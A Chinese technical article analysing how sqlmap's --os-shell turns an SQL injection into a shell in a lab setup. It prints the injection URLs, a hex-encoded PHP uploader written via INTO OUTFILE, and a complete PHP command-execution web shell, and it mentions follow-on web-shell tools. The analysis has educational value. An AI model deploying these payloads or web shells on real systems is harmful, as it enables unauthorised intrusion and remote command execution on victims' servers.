<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
最近遇到測試環境,最後利用sqlmap的--os-shell引數取得shell。一直以來,對這個引數的工作原理不是十分的清晰。大致的思想應該是將指令碼插入到資料庫中,然後生成相應的程式碼檔案,獲取shell即可執行命令。
本環境是在區域網下利用兩臺主機搭建的,環境比較真實。
攻擊機:
靶機:
url:192.168.0.166/php/newsshow.php?cid=4&id=11
截圖:
python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell
sqlmap預設為php,此處根據需求選擇。
此處因為用wamp搭建,並安裝在C槽下。所以選擇2選項,輸入路徑為c:/wamp/www
利用wireshark進行抓包
http://192.168.0.166/php/newsshow.php?cid=4&BWGH%3D3922 AND 1%3D1 UNION ALL SELECT 1%2C2%2C3%2Ctable_name FROM information_schema.tables WHERE 2>1-- ..%2F..%2F..%2Fetc%2Fpasswd
url解碼
http://192.168.0.166/php/newsshow.php?cid=4&BWGH=3922 AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd
這條語句我認為對於os-shell並沒有實際性的作用。
3.1解析into outfile
http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616%3D3616 LIMIT 0%2C1 INTO OUTFILE '%2Fwamp%2Fwww%2Ftmpulujm.php' LINES TERMINATED BY 0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c77616d705c5c7777775c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a-- -- -
解析url(除16進位制字元)
http://192.168.0.166/php/newsshow.php?cid=-6901 OR 3616=3616 LIMIT 0,1 INTO OUTFILE '/wamp/www/tmpulujm.php' LINES TERMINATED BY 0x...
解釋:select * from * limit 0,1 into outfile '/wamp/www/tmpulujm.php'的意思是將內容輸入到outfile中。
LINES TERMINATED BY則是into outfile的引數,意思是行結尾的時候用by後面的內容,通常的一般為‘/r/n’,此處我們將by後的內容修改為後面的16進位制的檔案。
解析16進位制檔案
如上圖,16進位制轉換為字串為:
`
轉換後的程式碼
顯然,16進位製為php程式碼。
先存取以下tmpulujm.php
此處主要實現了向伺服器傳輸檔案的一個功能。此處簡單看下上述檔案php語句進行分析。
實現的就是上傳檔案,同時根據phpversion,將上傳的檔案的許可權進行修改。學習到一點就是4.1.0的版本下,可直接執行。
現在我們已經可以上傳檔案了,但是仔細考慮一下,sqlmap是提供一個os-shell,我們現在只分析到了可以上傳檔案的步驟。那接下來,還需要在抓取的資料中進行分析。
在分析封包中,我看到一個post封包,從content中看到此封包是實現了上傳一個類似於cmd的一個php檔案。
從上圖可以看到,利用tmpulujm.php上傳了一個tmpbtfgo.php的檔案。將tmpbtfgo.php的內容擷取出來,得到了一段php程式碼。格式請自行調整。
<?php $c=$_REQUEST["cmd"]; @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); $z=@ini_get('disable_functions'); if(!empty($z)) { $z=preg_replace('/[, ]+/',',',$z); $z=explode(',',$z); $z=array_map('trim',$z);} else { $z=array(); } $c=$c." 2>&1n"; function f($n) {global $z; return is_callable($n)and!in_array($n,$z); } if(f('system')) {ob_start(); system($c); $w=ob_get_contents(); ob_end_clean(); }elseif(f('proc_open')){ $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t); $w=NULL; while(!feof($t[1])){ $w.=fread($t[1],512); } @proc_close($y); } elseif(f('shell_exec')){ $w=shell_exec($c); } elseif(f('passthru')){ ob_start(); passthru($c); $w=ob_get_contents(); ob_end_clean(); }elseif(f('popen')){ $x=popen($c,r); $w=NULL; if(is_resource($x)){ while(!feof($x)){ $w.=fread($x,512); } } @pclose($x); }elseif(f('exec')){ $w=array(); exec($c,$w); $w=join(chr(10),$w).chr(10); }else{ $w=0; } print "</pre>".$w."</pre>";?>'''
上述程式碼實現了os-shell得到了命令後,如何執行命令以及輸出執行結果到os-shell中。
因此我們可以在os-shell中執行命令。
通過上述的分析,我們知道了sqlmap os-shell引數的用法以及原理。
很多的人會對os-shell的使用進行吐槽,這是得要多大的許可權才能執行。是的,os-shell的執行條件有三個
(1)網站必須是root許可權
(2)攻擊者需要知道網站的絕對路徑
(3)GPC為off,php主動跳脫的功能關閉
此處對於中小型企業,如果自己搭建的伺服器,例如直接用wamp或者phpnow等快捷方式搭建的伺服器,基本上可以滿足以上三個條件。
同時,對於os-shell的用法,很多的小夥伴會吐槽,都他麼能上傳了,還搞jb的os-shell了。對的,我們可以直接上傳大馬進行下一步的工作。當然亦可以上傳一句話,然後利用菜刀進行連線。
此處只是對sqlmap工作原理進行了一頓分析。至於利用方式以及攻擊手段,當然有很多種,自行發散思維即可。接下來的工作是直接看下sqlmap的原始碼,才能理解的更為深刻。
到此這篇關於sqlmap之os shell圖文詳細解析的文章就介紹到這了,更多相關sqlmap os shell解析內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45